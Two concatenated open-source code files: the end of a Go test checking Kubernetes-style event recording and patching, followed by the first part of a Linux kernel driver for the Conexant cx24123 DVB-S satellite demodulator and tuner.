expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"bar", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[2]"}): type: 'Normal' reason: 'Started' some verbose message: 1`,
expectUpdate: true,
},
{
obj: testRef2,
eventtype: v1.EventTypeNormal,
reason: "Stopped",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
APIVersion: "version",
FieldPath: "spec.containers[3]",
},
Reason: "Stopped",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 1,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"differentUid", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[3]"}): type: 'Normal' reason: 'Stopped' some verbose message: 1`,
expectUpdate: false,
},
{
obj: testRef2,
eventtype: v1.EventTypeNormal,
reason: "Stopped",
messageFmt: "some verbose message: %v",
elements: []interface{}{1},
expect: &v1.Event{
ObjectMeta: metav1.ObjectMeta{
Name: "foo",
Namespace: "baz",
},
InvolvedObject: v1.ObjectReference{
Kind: "Pod",
Name: "foo",
Namespace: "baz",
UID: "differentUid",
APIVersion: "version",
FieldPath: "spec.containers[3]",
},
Reason: "Stopped",
Message: "some verbose message: 1",
Source: v1.EventSource{Component: "eventTest"},
Count: 2,
Type: v1.EventTypeNormal,
},
expectLog: `Event(v1.ObjectReference{Kind:"Pod", Namespace:"baz", Name:"foo", UID:"differentUid", APIVersion:"version", ResourceVersion:"", FieldPath:"spec.containers[3]"}): type: 'Normal' reason: 'Stopped' some verbose message: 1`,
expectUpdate: true,
},
}
testCache := map[string]*v1.Event{}
createEvent := make(chan *v1.Event)
updateEvent := make(chan *v1.Event)
patchEvent := make(chan *v1.Event)
testEvents := testEventSink{
OnCreate: OnCreateFactory(testCache, createEvent),
OnUpdate: func(event *v1.Event) (*v1.Event, error) {
updateEvent <- event
return event, nil
},
OnPatch: OnPatchFactory(testCache, patchEvent),
}
testCache2 := map[string]*v1.Event{}
createEvent2 := make(chan *v1.Event)
updateEvent2 := make(chan *v1.Event)
patchEvent2 := make(chan *v1.Event)
testEvents2 := testEventSink{
OnCreate: OnCreateFactory(testCache2, createEvent2),
OnUpdate: func(event *v1.Event) (*v1.Event, error) {
updateEvent2 <- event
return event, nil
},
OnPatch: OnPatchFactory(testCache2, patchEvent2),
}
eventBroadcaster := NewBroadcasterForTests(0)
clock := clock.NewFakeClock(time.Now())
recorder := recorderWithFakeClock(v1.EventSource{Component: "eventTest"}, eventBroadcaster, clock)
sinkWatcher := eventBroadcaster.StartRecordingToSink(&testEvents)
for index, item := range table {
clock.Step(1 * time.Second)
recorder.Eventf(item.obj, item.eventtype, item.reason, item.messageFmt, item.elements...)
// validate event
if item.expectUpdate {
actualEvent := <-patchEvent
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
} else {
actualEvent := <-createEvent
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
}
}
// Another StartRecordingToSink call should start to record events with new clean cache.
sinkWatcher2 := eventBroadcaster.StartRecordingToSink(&testEvents2)
for index, item := range table {
clock.Step(1 * time.Second)
recorder.Eventf(item.obj, item.eventtype, item.reason, item.messageFmt, item.elements...)
// validate event
if item.expectUpdate {
actualEvent := <-patchEvent2
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
} else {
actualEvent := <-createEvent2
validateEvent(strconv.Itoa(index), actualEvent, item.expect, t)
}
}
sinkWatcher.Stop()
sinkWatcher2.Stop()
}
| {
"pile_set_name": "Github"
} |
/*
* Conexant cx24123/cx24109 - DVB QPSK Satellite demod/tuner driver
*
* Copyright (C) 2005 Steven Toth <[email protected]>
*
* Support for KWorld DVB-S 100 by Vadim Catana <[email protected]>
*
* Support for CX24123/CX24113-NIM by Patrick Boettcher <[email protected]>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include <linux/slab.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <asm/div64.h>
#include "dvb_frontend.h"
#include "cx24123.h"
#define XTAL 10111000
static int force_band;
module_param(force_band, int, 0644);
MODULE_PARM_DESC(force_band, "Force a specific band select "\
"(1-9, default:off).");
static int debug;
module_param(debug, int, 0644);
MODULE_PARM_DESC(debug, "Activates frontend debugging (default:0)");
#define info(args...) do { printk(KERN_INFO "CX24123: " args); } while (0)
#define err(args...) do { printk(KERN_ERR "CX24123: " args); } while (0)
#define dprintk(args...) \
do { \
if (debug) { \
printk(KERN_DEBUG "CX24123: %s: ", __func__); \
printk(args); \
} \
} while (0)
struct cx24123_state {
struct i2c_adapter *i2c;
const struct cx24123_config *config;
struct dvb_frontend frontend;
/* Some PLL specifics for tuning */
u32 VCAarg;
u32 VGAarg;
u32 bandselectarg;
u32 pllarg;
u32 FILTune;
struct i2c_adapter tuner_i2c_adapter;
u8 demod_rev;
/* The Demod/Tuner can't easily provide these, we cache them */
u32 currentfreq;
u32 currentsymbolrate;
};
/* Various tuner defaults need to be established for a given symbol rate Sps */
static struct cx24123_AGC_val {
u32 symbolrate_low;
u32 symbolrate_high;
u32 VCAprogdata;
u32 VGAprogdata;
u32 FILTune;
} cx24123_AGC_vals[] =
{
{
.symbolrate_low = 1000000,
.symbolrate_high = 4999999,
/* the specs recommend other values for VGA offsets,
but tests show they are wrong */
.VGAprogdata = (1 << 19) | (0x180 << 9) | 0x1e0,
.VCAprogdata = (2 << 19) | (0x07 << 9) | 0x07,
.FILTune = 0x27f /* 0.41 V */
},
{
.symbolrate_low = 5000000,
.symbolrate_high = 14999999,
.VGAprogdata = (1 << 19) | (0x180 << 9) | 0x1e0,
.VCAprogdata = (2 << 19) | (0x07 << 9) | 0x1f,
.FILTune = 0x317 /* 0.90 V */
},
{
.symbolrate_low = 15000000,
.symbolrate_high = 45000000,
.VGAprogdata = (1 << 19) | (0x100 << 9) | 0x180,
.VCAprogdata = (2 << 19) | (0x07 << 9) | 0x3f,
.FILTune = 0x145 /* 2.70 V */
},
};
/*
* Various tuner defaults need to be established for a given frequency kHz.
* fixme: The bounds on the bands do not match the doc in real life.
* fixme: Some of them have been moved, other might need adjustment.
*/
static struct cx24123_bandselect_val {
u32 freq_low;
u32 freq_high;
u32 VCOdivider;
u32 progdata;
} cx24123_bandselect_vals[] =
{
/* band 1 */
{
.freq_low = 950000,
.freq_high = 1074999,
.VCOdivider = 4,
.progdata = (0 << 19) | (0 << 9) | 0x40,
},
/* band 2 */
{
.freq_low = 1075000,
.freq_high = 1177999,
.VCOdivider = 4,
.progdata = (0 << 19) | (0 << 9) | 0x80,
},
/* band 3 */
{
.freq_low = 1178000,
.freq_high = 1295999,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x01,
},
/* band 4 */
{
.freq_low = 1296000,
.freq_high = 1431999,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x02,
},
/* band 5 */
{
.freq_low = 1432000,
.freq_high = 1575999,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x04,
},
/* band 6 */
{
.freq_low = 1576000,
.freq_high = 1717999,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x08,
},
/* band 7 */
{
.freq_low = 1718000,
.freq_high = 1855999,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x10,
},
/* band 8 */
{
.freq_low = 1856000,
.freq_high = 2035999,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x20,
},
/* band 9 */
{
.freq_low = 2036000,
.freq_high = 2150000,
.VCOdivider = 2,
.progdata = (0 << 19) | (1 << 9) | 0x40,
},
};
static struct {
u8 reg;
u8 data;
} cx24123_regdata[] =
{
{0x00, 0x03}, /* Reset system */
{0x00, 0x00}, /* Clear reset */
{0x03, 0x07}, /* QPSK, DVB, Auto Acquisition (default) */
{0x04, 0x10}, /* MPEG */
{0x05, 0x04}, /* MPEG */
{0x06, 0x31}, /* MPEG (default) */
{0x0b, 0x00}, /* Freq search start point (default) */
{0x0c, 0x00}, /* Demodulator sample gain (default) */
{0x0d, 0x7f}, /* Force driver to shift until the maximum (+-10 MHz) */
{0x0e, 0x03}, /* Default non-inverted, FEC 3/4 (default) */
{0x0f, 0xfe}, /* FEC search mask (all supported codes) */
{0x10, 0x01}, /* Default search inversion, no repeat (default) */
{0x16, 0x00}, /* Enable reading of frequency */
{0x17, 0x01}, /* Enable EsNO Ready Counter */
{0x1c, 0x80}, /* Enable error counter */
{0x20, 0x00}, /* Tuner burst clock rate = 500KHz */
{0x21, 0x15}, /* Tuner burst mode, word length = 0x15 */
{0x28, 0x00}, /* Enable FILTERV with positive pol., DiSEqC 2.x off */
{0x29, 0x00}, /* DiSEqC LNB_DC off */
{0x2a, 0xb0}, /* DiSEqC Parameters (default) */
{0x2b, 0x73}, /* DiSEqC Tone Frequency (default) */
{0x2c, 0x00}, /* DiSEqC Message (0x2c - 0x31) */
{0x2d, 0x00},
{0x2e, 0x00},
{0x2f, 0x00},
{0x30, 0x00},
{0x31, 0x00},
{0x32, 0x8c}, /* DiSEqC Parameters (default) */
{0x33, 0x00}, /* Interrupts off (0x33 - 0x34) */
{0x34, 0x00},
{0x35, 0x03}, /* DiSEqC Tone Amplitude (default) */
{0x36, 0x02}, /* DiSEqC Parameters (default) */
{0x37, 0x3a}, /* DiSEqC Parameters (default) */
{0x3a, 0x00}, /* Enable AGC accumulator (for signal strength) */
{0x44, 0x00}, /* Constellation (default) */
{0x45, 0x00}, /* Symbol count (default) */
{0x46, 0x0d}, /* Symbol rate estimator on (default) */
{0x56, 0xc1}, /* Error Counter = Viterbi BER */
{0x57, 0xff}, /* Error Counter Window (default) */
{0x5c, 0x20}, /* Acquisition AFC Expiration window (default is 0x10) */
{0x67, 0x83}, /* Non-DCII symbol clock */
};
static int cx24123_i2c_writereg(struct cx24123_state *state,
u8 i2c_addr, int reg, int data)
{
u8 buf[] = { reg, data };
struct i2c_msg msg = {
.addr = i2c_addr, .flags = 0, .buf = buf, .len = 2
};
int err;
/* printk(KERN_DEBUG "wr(%02x): %02x %02x\n", i2c_addr, reg, data); */
err = i2c_transfer(state->i2c, &msg, 1);
if (err != 1) {
printk("%s: writereg error(err == %i, reg == 0x%02x,"
" data == 0x%02x)\n", __func__, err, reg, data);
return err;
}
return 0;
}
static int cx24123_i2c_readreg(struct cx24123_state *state, u8 i2c_addr, u8 reg)
{
int ret;
u8 b = 0;
struct i2c_msg msg[] = {
{ .addr = i2c_addr, .flags = 0, .buf = ®, .len = 1 },
{ .addr = i2c_addr, .flags = I2C_M_RD, .buf = &b, .len = 1 }
};
ret = i2c_transfer(state->i2c, msg, 2);
if (ret != 2) {
err("%s: reg=0x%x (error=%d)\n", __func__, reg, ret);
return ret;
}
/* printk(KERN_DEBUG "rd(%02x): %02x %02x\n", i2c_addr, reg, b); */
return b;
}
#define cx24123_readreg(state, reg) \
cx24123_i2c_readreg(state, state->config->demod_address, reg)
#define cx24123_writereg(state, reg, val) \
cx24123_i2c_writereg(state, state->config->demod_address, reg, val)
static int cx24123_set_inversion(struct cx24123_state *state,
enum fe_spectral_inversion inversion)
{
u8 nom_reg = cx24123_readreg(state, 0x0e);
u8 auto_reg = cx24123_readreg(state, 0x10);
switch (inversion) {
case INVERSION_OFF:
dprintk("inversion off\n");
cx24123_writereg(state, 0x0e, nom_reg & ~0x80);
cx24123_writereg(state, 0x10, auto_reg | 0x80);
break;
case INVERSION_ON:
dprintk("inversion on\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x80);
cx24123_writereg(state, 0x10, auto_reg | 0x80);
break;
case INVERSION_AUTO:
dprintk("inversion auto\n");
cx24123_writereg(state, 0x10, auto_reg & ~0x80);
break;
default:
return -EINVAL;
}
return 0;
}
static int cx24123_get_inversion(struct cx24123_state *state,
enum fe_spectral_inversion *inversion)
{
u8 val;
val = cx24123_readreg(state, 0x1b) >> 7;
if (val == 0) {
dprintk("read inversion off\n");
*inversion = INVERSION_OFF;
} else {
dprintk("read inversion on\n");
*inversion = INVERSION_ON;
}
return 0;
}
static int cx24123_set_fec(struct cx24123_state *state, enum fe_code_rate fec)
{
u8 nom_reg = cx24123_readreg(state, 0x0e) & ~0x07;
if (((int)fec < FEC_NONE) || (fec > FEC_AUTO))
fec = FEC_AUTO;
/* Set the soft decision threshold */
if (fec == FEC_1_2)
cx24123_writereg(state, 0x43,
cx24123_readreg(state, 0x43) | 0x01);
else
cx24123_writereg(state, 0x43,
cx24123_readreg(state, 0x43) & ~0x01);
switch (fec) {
case FEC_1_2:
dprintk("set FEC to 1/2\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x01);
cx24123_writereg(state, 0x0f, 0x02);
break;
case FEC_2_3:
dprintk("set FEC to 2/3\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x02);
cx24123_writereg(state, 0x0f, 0x04);
break;
case FEC_3_4:
dprintk("set FEC to 3/4\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x03);
cx24123_writereg(state, 0x0f, 0x08);
break;
case FEC_4_5:
dprintk("set FEC to 4/5\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x04);
cx24123_writereg(state, 0x0f, 0x10);
break;
case FEC_5_6:
dprintk("set FEC to 5/6\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x05);
cx24123_writereg(state, 0x0f, 0x20);
break;
case FEC_6_7:
dprintk("set FEC to 6/7\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x06);
cx24123_writereg(state, 0x0f, 0x40);
break;
case FEC_7_8:
dprintk("set FEC to 7/8\n");
cx24123_writereg(state, 0x0e, nom_reg | 0x07);
cx24123_writereg(state, 0x0f, 0x80);
break;
case FEC_AUTO:
dprintk("set FEC to auto\n");
cx24123_writereg(state, 0x0f, 0xfe);
break;
default:
return -EOPNOTSUPP;
}
return 0;
}
static int cx24123_get_fec(struct cx24123_state *state, enum fe_code_rate *fec)
{
int ret;
ret = cx24123_readreg(state, 0x1b);
if (ret < 0)
return ret;
ret = ret & 0x07;
switch (ret) {
case 1:
*fec = FEC_1_2;
break;
case 2:
*fec = FEC_2_3;
break;
case 3:
*fec = FEC_3_4;
break;
case 4:
*fec = FEC_4_5;
break;
case 5:
*fec = FEC_5_6;
break;
case 6:
*fec = FEC_6_7;
break;
case 7:
*fec = FEC_7_8;
break;
default:
/* this can happen when there's no lock */
*fec = FEC_NONE;
}
return 0;
}
/* Approximation of closest integer of log2(a/b). It actually gives the
lowest integer i such that 2^i >= round(a/b) */
static u32 cx24123_int_log2(u32 a, u32 b)
{
u32 exp, nearest = 0;
u32 div = a / b;
if (a % b >= b / 2)
++div;
if (div < (1 << 31)) {
for (exp = 1; div > exp; nearest++)
exp += exp;
}
return nearest;
}
static int cx24123_set_symbolrate(struct cx24123_state *state, u32 srate)
{
u64 tmp;
u32 sample_rate, ratio, sample_gain;
u8 pll_mult;
/* check if symbol rate is within limits */
if ((srate > state->frontend.ops.info.symbol_rate_max) ||
(srate < state->frontend.ops.info.symbol_rate_min))
return -EOPNOTSUPP;
/* choose the sampling rate high enough for the required operation,
while optimizing the power consumed by the demodulator */
if (srate < (XTAL*2)/2)
pll_mult = 2;
else if (srate < (XTAL*3)/2)
pll_mult = 3;
else if (srate < (XTAL*4)/2)
pll_mult = 4;
else if (srate < (XTAL*5)/2)
pll_mult = 5;
else if (srate < (XTAL*6)/2)
pll_mult = 6;
else if (srate < (XTAL*7)/2)
pll_mult = 7;
else if (srate < (XTAL*8)/2)
pll_mult = 8;
else
pll_mult = 9;
sample_rate = pll_mult * XTAL;
/* SYSSymbolRate[21:0] = (srate << 23) / sample_rate */
tmp = ((u64)srate) << 23;
do_div(tmp, sample_rate);
ratio = (u32) tmp;
cx24123_writereg(state, 0x01, pll_mult * 6);
cx24123_writereg(state, 0x08, (ratio >> 16) & 0x3f);
cx24123_writereg(state, 0x09, (ratio >> 8) & 0xff);
cx24123_writereg(state, 0x0a, ratio & 0xff);
/* also set the demodulator sample gain */
sample_gain = cx24123_int_log2(sample_rate, srate);
tmp = cx24123_readreg(state, 0x0c) & ~0xe0;
cx24123_writereg(state, 0x0c, tmp | sample_gain << 5);
dprintk("srate=%d, ratio=0x%08x, sample_rate=%i sample_gain=%d\n",
srate, ratio, sample_rate, sample_gain);
return 0;
}
/*
* Based on the required frequency and symbolrate, the tuner AGC has
* to be configured and the correct band selected.
* Calculate those values.
*/
static int cx24123_pll_calculate(struct dvb_frontend *fe)
{
struct dtv_frontend_properties *p = &fe->dtv_property_cache;
struct cx24123_state *state = fe->demodulator_priv;
u32 ndiv = 0, adiv = 0, vco_div = 0;
int i = 0;
int pump = 2;
int band = 0;
int num_bands = ARRAY_SIZE(cx24123_bandselect_vals);
struct cx24123_bandselect_val *bsv = NULL;
struct cx24123_AGC_val *agcv = NULL;
/* Defaults for low freq, low rate */
state->VCAarg = cx24123_AGC_vals[0].VCAprogdata;
state->VGAarg = cx24123_AGC_vals[0].VGAprogdata;
state->bandselectarg = cx24123_bandselect_vals[0].progdata;
vco_div = cx24123_bandselect_vals[0].VCOdivider;
/* For the given symbol rate, determine the VCA, VGA and
* FILTUNE programming bits */
for (i = 0; i < ARRAY_SIZE(cx24123_AGC_vals); i++) {
agcv = &cx24123_AGC_vals[i];
if ((agcv->symbolrate_low <= p->symbol_rate) &&
(agcv->symbolrate_high >= p->symbol_rate)) {
state->VCAarg = agcv->VCAprogdata;
state->VGAarg = agcv->VGAprogdata;
state->FILTune = agcv->FILTune;
}
}
/* determine the band to use */
if (force_band < 1 || force_band > num_bands) {
for (i = 0; i < num_bands; i++) {
bsv = &cx24123_bandselect_vals[i];
if ((bsv->freq_low <= p->frequency) &&
(bsv->freq_high >= p->frequency))
band = i;
}
} else
band = force_band - 1;
state->bandselectarg = cx24123_bandselect_vals[band].progdata;
vco_div = cx24123_bandselect_vals[band].VCOdivider;
/* determine the charge pump current */
if (p->frequency < (cx24123_bandselect_vals[band].freq_low +
cx24123_bandselect_vals[band].freq_high) / 2)
pump = 0x01;
else
pump = 0x02;
/* Determine the N/A dividers for the requested lband freq (in kHz). */
/* Note: the reference divider R=10, frequency is in KHz,
* XTAL is in Hz */
ndiv = (((p->frequency * vco_div * 10) /
(2 * XTAL / 1000)) / 32) & 0x1ff;
adiv = (((p->frequency * vco_div * 10) /
(2 * XTAL / 1000)) % 32) & 0x1f;
if (adiv == 0 && ndiv > 0)
ndiv--;
/* control bits 11, refdiv 11, charge pump polarity 1,
* charge pump current, ndiv, adiv */
state->pllarg = (3 << 19) | (3 << 17) | (1 << 16) |
(pump << 14) | (ndiv << 5) | adiv;
return 0;
}
/*
* Tuner data is 21 bits long, must be left-aligned in data.
* Tuner cx24109 is written through a dedicated 3wire interface
* on the demod chip.
*/
static int cx24123_pll_writereg(struct dvb_frontend *fe, u32 data)
{
struct cx24123_state *state = fe->demodulator_priv;
unsigned long timeout;
dprintk("pll writereg called, data=0x%08x\n", data);
/* align the 21 bytes into to bit23 boundary */
data = data << 3;
/* Reset the demod pll word length to 0x15 bits */
cx24123_writereg(state, 0x21, 0x15);
/* write the msb 8 bits, wait for the send to be completed */
timeout = jiffies + msecs_to_jiffies(40);
cx24123_writereg(state, 0x22, (data >> 16) & 0xff);
while ((cx24123_readreg(state, 0x20) & 0x40) == 0) {
if (time_after(jiffies, timeout)) {
err("%s: demodulator is not responding, "\
"possibly hung, aborting.\n", __func__);
return -EREMOTEIO;
}
msleep(10);
}
/* send another 8 bytes, wait for the send to be completed */
timeout = jiffies + msecs_to_jiffies(40);
cx24123_writereg(state, 0x22, (data >> 8) & 0xff);
while ((cx24123_readreg(state, 0x20) & 0x40) == 0) {
if (time_after(jiffies, timeout)) {
err("%s: demodulator is not responding, "\
"possibly hung, aborting.\n", __func__);
return -EREMOTEIO;
}
msleep(10);
}
/* send the lower 5 bits of this byte, padded with 3 LBB,
* wait for the send to be completed */
timeout = jiffies + msecs_to_jiffies(40);
cx24123_writereg(state, 0x22, (data) & 0xff);
while ((cx24123_readreg(state, 0x20) & 0x80)) {
if (time_after(jiffies, timeout)) {
err("%s: demodulator is not responding," \
"possibly hung, aborting.\n", __func__);
return -EREMOTEIO;
}
msleep(10);
}
/* Trigger the demod to configure the tuner */
cx24123_writereg(state, 0x20, cx24123_readreg(state, 0x20) | 2);
cx24123_writereg(state, 0x20, cx24123_readreg(state, 0x20) & 0xfd);
return 0;
}
static int cx24123_pll_tune(struct dvb_frontend *fe)
{
struct dtv_frontend_properties *p = &fe->dtv_property_cache;
struct cx24123_state *state = fe->demodulator_priv;
u8 val;
dprintk("frequency=%i\n", p->frequency);
if (cx24123_pll_calculate(fe) != 0) {
err("%s: cx24123_pll_calcutate failed\n", __func__);
return -EINVAL;
}
/* Write the new VCO/VGA */
cx24123_pll_writereg(fe, state->VCAarg);
cx24123_pll_writereg(fe, state->VGAarg);
/* Write the new bandselect and pll args */
cx24123_pll_writereg(fe, state->bandselectarg);
cx24123_pll_writereg(fe, state->pllarg);
/* set the FILTUNE voltage */
val = cx24123_readreg(state, 0x28) & ~0x3;
cx24123_writereg(state, 0x27, state->FILTune >> 2);
cx24123_writereg(state, 0x28, val | (state->FILTune & 0x3));
dprintk("pll tune VCA=%d, band=%d, pll=%d\n", state->VCAarg,
state->bandselectarg, state->pllarg);
return 0;
}
/*
* 0x23:
* [7:7] = BTI enabled
* [6:6] = I2C repeater enabled
* [5:5] = I2C repeater start
* [0:0] = BTI start
*/
/* mode == 1 -> i2c-repeater, 0 -> bti */
static int cx24123_repeater_mode(struct cx24123_state *state, u8 mode, u8 start)
{
u8 r = cx24123_readreg(state, 0x23) & 0x1e;
if (mode)
r |= (1 << 6) | (start << 5);
else
r |= (1 << 7) | (start);
return cx24123_writereg(state, 0x23, r);
}
static int cx24123_initfe(struct dvb_frontend *fe)
{
struct cx24123_state *state = fe->demodulator_priv;
int i;
dprintk("init frontend\n");
/* Configure the demod to a good set of defaults */
for (i = 0; i < ARRAY_SIZE(cx24123_regdata); i++)
cx24123_writereg(state, cx24123_regdata[i].reg,
cx24123_regdata[i].data);
/* Set the LNB polarity */
if (state->config->lnb_polarity)
cx24123_writereg(state, 0x32,
cx24123_readreg(state, 0x32) | 0x02);
if (state->config->dont_use_pll)
cx24123_repeater_mode(state, 1, 0);
return 0;
}
static int cx24123_set_voltage(struct dvb_frontend *fe,
enum fe_sec_voltage voltage)
{
struct cx24123_state *state = fe->demodulator_priv;
u8 val;
val = cx24123_readreg(state, 0x29) & ~0x40;
switch (voltage) {
case SEC_VOLTAGE_13:
dprintk("setting voltage 13V\n");
return cx24123_writereg(state, 0x29, val & 0x7f);
case SEC_VOLTAGE_18:
dprintk("setting voltage 18V\n");
return cx24123_writereg(state, 0x29, val | 0x80);
case SEC_VOLTAGE_OFF:
/* already handled in cx88-dvb */
return 0;
default:
return -EINVAL;
}
return 0;
}
/* wait for diseqc queue to become ready (or timeout) */
static void cx24123_wait_for_diseqc(struct cx24123_state *state)
{
unsigned long timeout = jiffies + msecs_to_jiffies(200);
while (!(cx24123_readreg(state, 0x29) & 0x40)) {
if (time_after(jiffies, timeout)) {
err("%s: diseqc queue not ready, " \
"command may be lost.\n", __func__);
break;
}
msleep(10);
}
}
static int cx24123_send_diseqc_msg(struct dvb_frontend *fe,
struct dvb_diseqc_master_cmd *cmd)
{
struct cx24123_state *state = fe->demodulator_priv;
int i, val, tone;
dprintk("\n");
/* stop continuous tone if enabled */
tone = cx24123_readreg(state, 0x29);
if (tone & 0x10)
cx24123_writereg(state, 0x29, tone & ~0x50);
/* wait for diseqc queue ready */
cx24123_wait_for_diseqc(state);
/* select tone mode */
cx24123_writereg(state, 0x2a, cx24123_readreg(state, 0x2a) & 0xfb);
for (i = 0; i < cmd->msg_len; i++)
cx24123_writereg(state, 0x2C + i, cmd->msg[i]);
val = cx24123_readreg(state, 0x29);
cx24123_writereg(state, 0x29, ((val & 0x90) | 0x40) |
((cmd->msg_len-3) & 3));
/* wait for diseqc message to finish sending */
cx24123_wait_for_diseqc(state);
/* restart continuous tone if enabled */
if (tone & 0x10)
cx24123_writereg(state, 0x29, tone & ~0x40);
return 0;
}
static int cx24123_diseqc_send_burst(struct dvb_frontend *fe,
enum fe_sec_mini_cmd burst)
{
struct cx24123_state *state = fe->demodulator_priv;
int val, tone;
dprintk("\n");
/* stop continuous tone if enabled */
tone = cx24123_readreg(state, 0x29);
if (tone & 0x10)
cx24123_writereg(state, 0x29, tone & ~0x50);
/* wait for diseqc queue ready */
cx24123_wait_for_diseqc(state);
/* select tone mode */
cx24123_writereg(state, 0x2a, cx24123_readreg(state, 0x2a) | 0x4);
msleep(30);
val = cx24123_readreg(state, 0x29);
if (burst == SEC_MINI_A)
cx24123_writereg(state, 0x29, ((val & 0x90) | 0x40 | 0x00));
else if (burst == SEC_MINI_B)
cx24123_writereg(state, 0x29, ((val & 0x90) | 0x40 | 0x08));
else
return -EINVAL;
cx24123_wait_for_diseqc(state);
cx24123_writereg(state, 0x2a, cx24123_readreg(state, 0x2a) & 0xfb);
/* restart continuous tone if enabled */
if (tone & 0x10)
cx24123_writereg(state, 0x29, tone & ~0x40);
return 0;
}
static int cx24123_read_status(struct dvb_frontend *fe, enum fe_status *status)
{
struct cx24123_state *state = fe->demodulator_priv;
int sync = cx24123_readreg(state, 0x14);
*status = 0;
if (state->config->dont_use_pll) {
u32 tun_status = 0;
if (fe->ops.tuner_ops.get_status)
fe->ops.tuner_ops.get_status(fe, &tun_status);
if (tun_status & TUNER_STATUS_LOCKED)
*status |= FE_HAS_SIGNAL;
} else {
int lock = cx24123_readreg(state, 0x20);
if (lock & 0x01)
*status |= FE_HAS_SIGNAL;
}
if (sync & 0x02)
*status |= FE_HAS_CARRIER; /* Phase locked */
if (sync & 0x04)
*status |= FE_HAS_VITERBI;
/* Reed-Solomon Status */
if (sync & 0x08)
*status |= FE_HAS_SYNC;
if (sync & 0x80)
*status |= FE_HAS_LOCK; /*Full Sync */
return 0;
}
/*
* Configured to return the measurement of errors in blocks,
* because no UCBLOCKS value is available, so this value doubles up
* to satisfy both measurements.
*/
static int cx24123_read_ber(struct dvb_frontend *fe, u32 *ber)
{
struct cx24123_state *state = fe->demodulator_priv;
/* The true bit error rate is this value divided by
the window size (set as 256 * 255) */
*ber = ((cx24123_readreg(state, 0x1c) & 0x3f) << 16) |
(cx24123_readreg(state, 0x1d) << 8 |
cx24123_readreg(state, 0x1e));
dprintk("BER = %d\n", *ber);
return 0;
}
static int cx24123_read_signal_strength(struct dvb_frontend *fe,
u16 *signal_strength)
{
struct cx24123_state *state = fe->demodulator_priv;
/* larger = better */
*signal_strength = cx24123_readreg(state, 0x3b) << 8;
dprintk("Signal strength = %d\n", *signal_strength);
return 0;
}
static int cx24123_read_snr(struct dvb_frontend *fe, u16 *snr)
{
struct cx24123_state *state = fe->demodulator_priv;
/* Inverted raw Es/N0 count, totally bogus but better than the
BER threshold. */
*snr = 65535 - (((u16)cx24123_readreg(state, 0x18) << 8) |
(u16)cx24123_readreg(state, 0x19));
dprintk("read S/N index = %d\n", *snr);
return 0;
}
static int cx24123_set_frontend(struct dvb_frontend *fe)
{
struct cx24123_state *state = fe->demodulator_priv;
struct dtv_frontend_properties *p = &fe->dtv_property_cache;
dprintk("\n");
if (state->config->set_ts_params)
state->config->set_ts_params(fe, 0);
state->currentfreq = p->frequency;
state->currentsymbolrate = p->symbol_rate;
cx24123_set_inversion(state, p->inversion);
cx24123_set_fec(state, p->fec_inner);
cx24123_set_symbolrate(state, p->symbol_rate);
if (!state->config->dont_use_pll)
cx24123_pll_tune(fe);
else if (fe->ops.tuner_ops.set_params)
fe->ops.tuner_ops.set_params(fe);
else
err("it seems I don't have a tuner...");
/* Enable automatic acquisition and reset cycle */
cx24123_writereg(state, 0x03, (cx24123_readreg(state, 0x03) | 0x07));
cx24123_writereg(state, 0x00, 0x10);
cx24123_writereg(state, 0x00, 0);
if (state->config->agc_callback)
state->config->agc_callback(fe);
return 0;
}
static int cx24123_get_frontend(struct dvb_frontend *fe,
struct dtv_frontend_properties *p)
{
struct cx24123_state *state = fe->demodulator_priv;
dprintk("\n");
if (cx24123_get_inversion(state, &p->inversion) != 0) {
err("%s: Failed to get inversion status\n", __func__);
return -EREMOTEIO;
}
if (cx24123_get_fec(state, &p->fec_inner) != 0) {
err("%s: Failed to get fec status\n", __func__);
return -EREMOTEIO;
}
p->frequency = state->currentfreq;
p->symbol_rate = state->currentsymbolrate;
return 0;
}
static int cx24123_set_tone(struct dvb_frontend *fe, enum fe_sec_tone_mode tone)
{
struct cx24123_state *state = fe->demodulator_priv;
u8 val;
/* wait for diseqc queue ready */
cx24123_wait_for_diseqc(state);
val = cx24123_readreg(state, 0x29) & ~0x40;
switch (tone) {
case SEC_TONE_ON:
dprintk("setting tone on\n");
return cx24123_writereg(state, 0x29, val | 0x10);
case SEC_TONE_OFF:
dprintk("setting tone off\n");
return cx24123_writereg(state, 0x29, val & 0xef);
default:
err("CASE reached default with tone=%d\n", tone);
return -EINVAL;
}
return 0;
}
